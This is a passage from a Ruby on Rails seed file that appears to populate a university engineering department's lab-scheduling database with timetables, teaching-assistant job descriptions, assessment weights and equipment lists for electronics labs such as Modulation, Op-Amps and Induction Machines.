hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a279.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a279.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a279.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a280 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at280 = ActivityTimetable.where(activity_id: a280.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a280.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a280.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a280.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a280.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a280.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a281 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"114\").first_or_create!(name: \"Individual Construction Project\",\n name_abrv: \"ICP\", archived: false, in_drive: false, user_id: 3)\n at281 = ActivityTimetable.where(activity_id: a281.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 4 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a281.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"ICP\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a281.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students construct an infra-red communication transmitter by soldering a PCB\n Advise students on component choice for desired frequency response (LCR resonant frequency and passive RC filters)\n Troubleshoot problems with students' circuits by using oscilloscopes and multimeters\n Demonstrate soldering and desoldering techniques for students and assist them in correcting circuit construction faults\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a281.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a281.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a281.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a282 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 1)\n at282 = ActivityTimetable.where(activity_id: a282.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a282.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a282.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a282.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a282.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a282.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a283 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 2)\n at283 = ActivityTimetable.where(activity_id: a283.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a283.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a283.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a283.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a283.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a283.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a284 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"116\").first_or_create!(name: \"LED\",\n name_abrv: \"LED\", archived: false, in_drive: false, user_id: 1)\n at284 = ActivityTimetable.where(activity_id: a284.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 7, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after clean room intro - micro measurement\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a284.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"LED\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a284.id).first_or_create!(criteria: \"Basic cleanroom skills.\",\n job_desc:\"Assist Year 1 EEE students to make top contact on GaN LED and then do IV and optical tests using probe station, SMU and optical spectometer.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a284.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a284.id).first_or_create!(cost_per_student: nil, equip_needed: \"8 probe stations, 10 microscope cameras, 2 metallurgical microscopes, 8 PCs with Keysight Quick IV and Motic Images Plus 3 software, 8 SMUs, 4 spectrometers, 2 power meters, 2 scalpels, 2 magnifying lamps, 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a284.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a285 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 1)\n at285 = ActivityTimetable.where(activity_id: a285.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a285.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a285.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a285.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a285.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a285.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a286 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: true, in_drive: false, user_id: 2)\n at286 = ActivityTimetable.where(activity_id: a286.id).first_or_create!(duration: 210, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a286.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a286.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a286.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a286.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a286.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a287 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 5)\n at287 = ActivityTimetable.where(activity_id: a287.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a287.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a287.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a287.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a287.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a287.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a288 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 2)\n at288 = ActivityTimetable.where(activity_id: a288.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a288.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a288.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a288.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a288.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a288.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a289 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 5)\n at289 = ActivityTimetable.where(activity_id: a289.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a289.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a289.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a289.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a289.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a290 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"119\").first_or_create!(name: \"Operational Amplifiers\",\n name_abrv: \"AMP2\", archived: false, in_drive: false, user_id: 5)\n at290 = ActivityTimetable.where(activity_id: a290.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after Amplifiers & Probes\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a290.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a290.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a290.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a290.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a290.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a291 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 3)\n at291 = ActivityTimetable.where(activity_id: a291.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 4, max_week_num: 7, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minutes x 2 sessions. After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a291.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a291.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a291.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a291.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a291.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a292 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 5)\n at292 = ActivityTimetable.where(activity_id: a292.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a292.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a292.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a292.id).first_or_create!(assess_weight: 15.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a292.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a292.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a293 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 1)\n at293 = ActivityTimetable.where(activity_id: a293.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a293.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a293.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a293.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a293.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a293.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a294 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 3)\n at294 = ActivityTimetable.where(activity_id: a294.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a294.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a294.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a294.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a294.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a294.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a295 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"123\").first_or_create!(name: \"Power Amplifiers\",\n name_abrv: \"AMP3\", archived: false, in_drive: false, user_id: 4)\n at295 = ActivityTimetable.where(activity_id: a295.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must come after Operational Amplifiers (not Op-Amps)\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a295.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a295.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE 